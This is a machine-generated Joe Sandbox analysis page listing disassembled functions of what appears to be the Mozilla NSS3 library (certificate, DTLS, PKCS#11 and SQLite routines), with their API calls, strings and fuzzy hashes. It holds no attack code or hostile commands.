Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s$oShl"
API String ID: 2709355791-1727155148
Opcode ID: 13664f03b62f94d9039e36812ebbbfd6749fa8f51dbfaa09fdbc81f313e211b5
Instruction ID: da13444c239467528910e736d3f8a389fcaa03b712730999f347325553075e87
Opcode Fuzzy Hash: 13664f03b62f94d9039e36812ebbbfd6749fa8f51dbfaa09fdbc81f313e211b5
Instruction Fuzzy Hash: C2515C31A071498BEF11CA69C4B47FF7BFD9F46348F188129E894B7A40D375880687B9

Function 6C6AEF30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,?,6C6CA4A1,?,00000000,?,00000001), ref: 6C6AEF6D

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

htonl.WSOCK32(00000000,?,6C6CA4A1,?,00000000,?,00000001), ref: 6C6AEFE4
htonl.WSOCK32(?,00000000,?,6C6CA4A1,?,00000000,?,00000001), ref: 6C6AEFF1
memcpy.VCRUNTIME140(?,?,6C6CA4A1,?,00000000,?,6C6CA4A1,?,00000000,?,00000001), ref: 6C6AF00B
memcpy.VCRUNTIME140(?,00000000,?,?,?,00000000,?,6C6CA4A1,?,00000000,?,00000001), ref: 6C6AF027

Strings

dtls13, xrefs: 6C6AEF33

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: htonlmemcpy$ErrorValue
String ID: dtls13
API String ID: 242828995-1883198198
Opcode ID: 30432fbb933ca6698f021f9c229de5595a58d35030760bbb4c0025b3c4847268
Instruction ID: f651f945041d3de3dd2d995ada1748b13bf3cc3cb7185132931121498db4da21
Opcode Fuzzy Hash: 30432fbb933ca6698f021f9c229de5595a58d35030760bbb4c0025b3c4847268
Instruction Fuzzy Hash: 85311671A01215AFC710DF68CC44B8AB7E4EF49348F158029E8189B751E731FD26CBE9

Function 6C62AF60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C62AFBE
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C749500,6C623F91), ref: 6C62AFD2

Part of subcall function 6C67B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7518D0,?), ref: 6C67B095

DER_GetInteger_Util.NSS3(?), ref: 6C62B007

Part of subcall function 6C676A90: PR_SetError.NSS3(FFFFE009,00000000,?,00000000,?,6C621666,?,6C62B00C,?), ref: 6C676AFB

PR_SetError.NSS3(FFFFE009,00000000), ref: 6C62B02F
PR_CallOnce.NSS3(6C782AA4,6C6812D0), ref: 6C62B046
PL_FreeArenaPool.NSS3 ref: 6C62B058
PL_FinishArenaPool.NSS3 ref: 6C62B060

Strings

security, xrefs: 6C62AFB8

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ArenaErrorPool$Util$CallDecodeFinishFreeInitInteger_Item_OnceQuick
String ID: security
API String ID: 3627567351-3315324353
Opcode ID: f767c0e671992f57e6075c8d4902ce2a59e47d38b7cb39d5c041be825e6fcc94
Instruction ID: 46b92534f04f3d72616630528fb8a4e14620842a556651734e6a2538204a8e1b
Opcode Fuzzy Hash: f767c0e671992f57e6075c8d4902ce2a59e47d38b7cb39d5c041be825e6fcc94
Instruction Fuzzy Hash: 1B3106704053009BDB118F249C44BAAB7A4EFC636CF104619E9765BBD1E73A9149CB9F

Function 6C65ACC0 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageDecryptFinal), ref: 6C65ACE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C65AD14
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C65AD23

Part of subcall function 6C73D930: PL_strncpyz.NSS3(?,?,?), ref: 6C73D963

PR_LogPrint.NSS3(?,00000000), ref: 6C65AD39

Strings

C_MessageDecryptFinal, xrefs: 6C65ACE1
(CK_INVALID_HANDLE), xrefs: 6C65AD1C
nsl, xrefs: 6C65AD51, 6C65AD7B
hSession = 0x%x, xrefs: 6C65ACFE, 6C65AD0E

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageDecryptFinal$nsl
API String ID: 332880674-1858972042
Opcode ID: 2e7727ad7ff38658f11495b35a41851e1d512e0007eb2186721faa51f7c53ac7
Instruction ID: 75db8c395eacafb4bc77d5b1f0809a0d6240601c42de577b3b9a66bc1ecd769f
Opcode Fuzzy Hash: 2e7727ad7ff38658f11495b35a41851e1d512e0007eb2186721faa51f7c53ac7
Instruction Fuzzy Hash: EA2137316021149FDB00AB64DD8CBBA37F5AB4730EFB44035E90997B03DB309918C7AA

Function 6C66CC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6C66CD08
PK11_DoesMechanism.NSS3(?,?), ref: 6C66CE16
PR_SetError.NSS3(00000000,00000000), ref: 6C66D079

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: dcb1cba8c235d0380a4c45dae967e3e3a1abd4457f9927d6d5da5b63fdce0e1c
Instruction ID: bd71bc3be2d9716f521d93119fed798d4112e633a1dd4d7e0dcdc4704d2f6446
Opcode Fuzzy Hash: dcb1cba8c235d0380a4c45dae967e3e3a1abd4457f9927d6d5da5b63fdce0e1c
Instruction Fuzzy Hash: 22C191B1A002199BDB20CF15CC80BDAB7B4BF49308F2441A8D94D97B41E775EE95CF9A

Function 6C65DC60 Relevance: 13.7, APIs: 9, Instructions: 245memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,6C6697C1,?,00000000,00000000,?,?,?,00000000,?,6C647F4A,00000000), ref: 6C65DC68

Part of subcall function 6C680BE0: malloc.MOZGLUE(6C678D2D,?,00000000,?), ref: 6C680BF8
Part of subcall function 6C680BE0: TlsGetValue.KERNEL32(6C678D2D,?,00000000,?), ref: 6C680C15

PORT_Alloc_Util.NSS3(00000008,00000000,?,?,?,00000000,?,6C647F4A,00000000,?,00000000,00000000), ref: 6C65DD36
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6C647F4A,00000000,?,00000000,00000000), ref: 6C65DE2D
memcpy.VCRUNTIME140(00000000,00000000,?,?,00000000,?,?,?,00000000,?,6C647F4A,00000000,?,00000000,00000000), ref: 6C65DE43
PORT_Alloc_Util.NSS3(0000000C,00000000,?,?,?,00000000,?,6C647F4A,00000000,?,00000000,00000000), ref: 6C65DE76
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6C647F4A,00000000,?,00000000,00000000), ref: 6C65DF32
memcpy.VCRUNTIME140(-00000010,00000000,00000000,?,00000000,?,?,?,00000000,?,6C647F4A,00000000,?,00000000,00000000), ref: 6C65DF5F
PORT_Alloc_Util.NSS3(00000004,00000000,?,?,?,00000000,?,6C647F4A,00000000,?,00000000,00000000), ref: 6C65DF78
PORT_Alloc_Util.NSS3(00000010,00000000,?,?,?,00000000,?,6C647F4A,00000000,?,00000000,00000000), ref: 6C65DFAA

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Alloc_Util$memcpy$Valuemalloc
String ID:
API String ID: 1886645929-0
Opcode ID: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction ID: 1c2392f76c856a6cbb9b47da866d3f6e3c3afb87ff3681672c9d93b696d4975d
Opcode Fuzzy Hash: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction Fuzzy Hash: 9E81D2707036058BFB114A18CE903AD72D6DB60748FB0843AD91ACAFE1E775C8E6C61E

Function 6C633C60 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_GetCertFromPrivateKey.NSS3(?), ref: 6C633C76
CERT_DestroyCertificate.NSS3(00000000), ref: 6C633C94

Part of subcall function 6C6295B0: TlsGetValue.KERNEL32(00000000,?,6C6400D2,00000000), ref: 6C6295D2
Part of subcall function 6C6295B0: EnterCriticalSection.KERNEL32(?,?,?,6C6400D2,00000000), ref: 6C6295E7
Part of subcall function 6C6295B0: PR_Unlock.NSS3(?,?,?,?,6C6400D2,00000000), ref: 6C629605

PORT_NewArena_Util.NSS3(00000800), ref: 6C633CB2
PORT_ArenaAlloc_Util.NSS3(00000000,000000AC), ref: 6C633CCA
memset.VCRUNTIME140(00000000,00000000,000000AC), ref: 6C633CE1

Part of subcall function 6C633090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C64AE42), ref: 6C6330AA
Part of subcall function 6C633090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6330C7
Part of subcall function 6C633090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C6330E5
Part of subcall function 6C633090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C633116
Part of subcall function 6C633090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C63312B
Part of subcall function 6C633090: PK11_DestroyObject.NSS3(?,?), ref: 6C633154
Part of subcall function 6C633090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C63317E

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Arena_$Alloc_ArenaDestroyK11_memset$AlgorithmCertCertificateCopyCriticalEnterFreeFromItem_ObjectPrivateSectionTag_UnlockValue
String ID:
API String ID: 3167935723-0
Opcode ID: 5423b12d547b0c8fafc6fd471cd3afb225a9df5c367705f65355db48dbb5ab51
Instruction ID: 37cfb642b69568eae9b8e5965bd0d4adf6676b72f2342cbdb77d4954e624fd54
Opcode Fuzzy Hash: 5423b12d547b0c8fafc6fd471cd3afb225a9df5c367705f65355db48dbb5ab51
Instruction Fuzzy Hash: 516105B5A00210ABEB105F65DC41FAB76B9EF05748F085039FE09DAA92F721D816C7BD

Function 6C622C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(2047C135), ref: 6C622C5D

Part of subcall function 6C680D30: calloc.MOZGLUE ref: 6C680D50
Part of subcall function 6C680D30: TlsGetValue.KERNEL32 ref: 6C680D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6C622C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C622CE0

Part of subcall function 6C622E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C622CDA,?,00000000), ref: 6C622E1E
Part of subcall function 6C622E00: SECITEM_DupItem_Util.NSS3(?), ref: 6C622E33
Part of subcall function 6C622E00: TlsGetValue.KERNEL32 ref: 6C622E4E
Part of subcall function 6C622E00: EnterCriticalSection.KERNEL32(?), ref: 6C622E5E
Part of subcall function 6C622E00: PL_HashTableLookup.NSS3(?), ref: 6C622E71
Part of subcall function 6C622E00: PL_HashTableRemove.NSS3(?), ref: 6C622E84
Part of subcall function 6C622E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6C622E96
Part of subcall function 6C622E00: PR_Unlock.NSS3 ref: 6C622EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C622D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6C622D30
CERT_MakeCANickname.NSS3(00000001), ref: 6C622D3F
free.MOZGLUE(00000000), ref: 6C622D73
CERT_DestroyCertificate.NSS3(?), ref: 6C622DB8
free.MOZGLUE ref: 6C622DC8

Part of subcall function 6C623E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C623EC2
Part of subcall function 6C623E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C623ED6
Part of subcall function 6C623E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C623EEE
Part of subcall function 6C623E60: PR_CallOnce.NSS3(6C782AA4,6C6812D0), ref: 6C623F02
Part of subcall function 6C623E60: PL_FreeArenaPool.NSS3 ref: 6C623F14
Part of subcall function 6C623E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C623F27

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: fad65b79631b1c65aed8ec7d5e904849d8a7b79203e39862045fdfe788f8b1a2
Instruction ID: 2b2b877ca09bab0f56da44ce9739dea23727c9d735f4eff3ade9027ea71e4bc6
Opcode Fuzzy Hash: fad65b79631b1c65aed8ec7d5e904849d8a7b79203e39862045fdfe788f8b1a2
Instruction Fuzzy Hash: C1510071A143159BEB11DE28CC88B5B77E5EF88368F14083CEC4983650E735E815CF9A

Function 6C628980 Relevance: 13.6, APIs: 9, Instructions: 150memoryCOMMON

Download Yara Rule

APIs

PORT_FreeArena_Util.NSS3(00000000,00000000,00000000,?,00000028,?,?,6C627310), ref: 6C6289B8

Part of subcall function 6C681200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C6288A4,00000000,00000000), ref: 6C681228
Part of subcall function 6C681200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6C681238
Part of subcall function 6C681200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C6288A4,00000000,00000000), ref: 6C68124B
Part of subcall function 6C681200: PR_CallOnce.NSS3(6C782AA4,6C6812D0,00000000,00000000,00000000,?,6C6288A4,00000000,00000000), ref: 6C68125D
Part of subcall function 6C681200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6C68126F
Part of subcall function 6C681200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C681280
Part of subcall function 6C681200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6C68128E
Part of subcall function 6C681200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6C68129A
Part of subcall function 6C681200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6C6812A1

PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000000,?,00000028,?,?,6C627310), ref: 6C6289E6
PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000004,?), ref: 6C628A00
CERT_CopyRDN.NSS3(00000004,00000000,6C627310,?,?,00000004,?), ref: 6C628A1B
PORT_ArenaGrow_Util.NSS3(00000004,00000000,?,?,?,?,?,?,?,00000004,?), ref: 6C628A74
PR_SetError.NSS3(FFFFE005,00000000,00000000,?,00000028,?,?,6C627310), ref: 6C628AAF
PORT_ArenaAlloc_Util.NSS3(00000004,00000008,00000000,?,00000028,?,?,6C627310), ref: 6C628AF3
PORT_ArenaGrow_Util.NSS3(00000004,?,C8850FC0,00000000,00000000,?,00000028,?,?,6C627310), ref: 6C628B1D

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Arena$Util$Alloc_$CriticalFreeGrow_PoolSectionfree$Arena_CallClearCopyDeleteEnterErrorOnceUnlockValue
String ID:
API String ID: 3791662518-0
Opcode ID: 3e718ccd6bab1a6fedfd2d9a6eb7fe1c954d190e0ed5511cbc5e350e8e81dcb0
Instruction ID: 7de6b976decf7d86b9083d898599ea4aa802b26a0c4ef397fee8646b1ad9167a
Opcode Fuzzy Hash: 3e718ccd6bab1a6fedfd2d9a6eb7fe1c954d190e0ed5511cbc5e350e8e81dcb0
Instruction Fuzzy Hash: 08510972A01310AFE7108F14CC40B6A77A4EF5A71CF15815AED159B7A1EB39E805CFA9

Function 6C627CC0 Relevance: 13.6, APIs: 9, Instructions: 132threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6240D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6C623F7F,?,00000055,?,?,6C621666,?,?), ref: 6C6240D9
Part of subcall function 6C6240D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6C621666,?,?), ref: 6C6240FC
Part of subcall function 6C6240D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6C621666,?,?), ref: 6C624138

PR_GetCurrentThread.NSS3 ref: 6C627CFD

Part of subcall function 6C6E9BF0: TlsGetValue.KERNEL32(?,?,?,6C730A75), ref: 6C6E9C07

SECITEM_ItemsAreEqual_Util.NSS3(?,6C749030), ref: 6C627D1B

Part of subcall function 6C67FD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6C621A3E,00000048,00000054), ref: 6C67FD56

SECITEM_ItemsAreEqual_Util.NSS3(?,6C749048), ref: 6C627D2F
SECITEM_CopyItem_Util.NSS3(00000000,?,00000000), ref: 6C627D50
PR_GetCurrentThread.NSS3 ref: 6C627D61
PORT_ArenaMark_Util.NSS3(?), ref: 6C627D7D
free.MOZGLUE(?), ref: 6C627D9C
CERT_CheckNameSpace.NSS3(?,00000000,00000000), ref: 6C627DB8
PR_SetError.NSS3(FFFFE023,00000000), ref: 6C627E19

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$CurrentEqual_ErrorItem_ItemsThread$ArenaCheckCompareCopyFindMark_NameSpaceTag_Valuefreememcmp
String ID:
API String ID: 70581797-0
Opcode ID: 758c6a5c77294c1461e0dfe948526a65f1e83475ce84568b1ce5d55b647c53b4
Instruction ID: 5327fe725c6253b714910b112ea965cee3210738ce9c74c3d26e8a687a7c52eb
Opcode Fuzzy Hash: 758c6a5c77294c1461e0dfe948526a65f1e83475ce84568b1ce5d55b647c53b4
Instruction Fuzzy Hash: 9A410372A0011A9BDB008E69DC41FAF33E8AF4535CF150824EC09AB650E734E9198BAA

Function 6C5BE890 Relevance: 12.4, APIs: 5, Strings: 3, Instructions: 442stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6C5BE922
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C5BE9CF
memcpy.VCRUNTIME140(00000024,?,?), ref: 6C5BEA0F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5BEB20
memcpy.VCRUNTIME140(?,?,?), ref: 6C5BEB57

Strings

foreign key on %s should reference only one column of table %T, xrefs: 6C5BEE04
unknown column "%s" in foreign key definition, xrefs: 6C5BED18
number of columns in foreign key does not match the number of columns in the referenced table, xrefs: 6C5BEDC2

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcpystrlen$memset
String ID: foreign key on %s should reference only one column of table %T$number of columns in foreign key does not match the number of columns in the referenced table$unknown column "%s" in foreign key definition
API String ID: 638109778-272990098
Opcode ID: 0074bd14310588efd418259562bb727e8594ae730f82c75a901262922acb46c7
Instruction ID: 40a7c5571850d26d6a4578d2fa9fea86316455120e7b1f9bef024b18c6d7d1cd
Opcode Fuzzy Hash: 0074bd14310588efd418259562bb727e8594ae730f82c75a901262922acb46c7
Instruction Fuzzy Hash: D7029075E01109CFDB04CF59C8A0AAEBBB2FF89304F2985A9D805BB751D771A845CBE0

Function 6C5AFCF0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 155COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124AC,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5AFD7A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5AFD94
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124BF,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5AFE3C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5AFE83

Part of subcall function 6C5AFEC0: memcmp.VCRUNTIME140(?,?,?,?,00000000,?), ref: 6C5AFEFA
Part of subcall function 6C5AFEC0: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000,?), ref: 6C5AFF3B

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5AFD64, 6C5AFE26
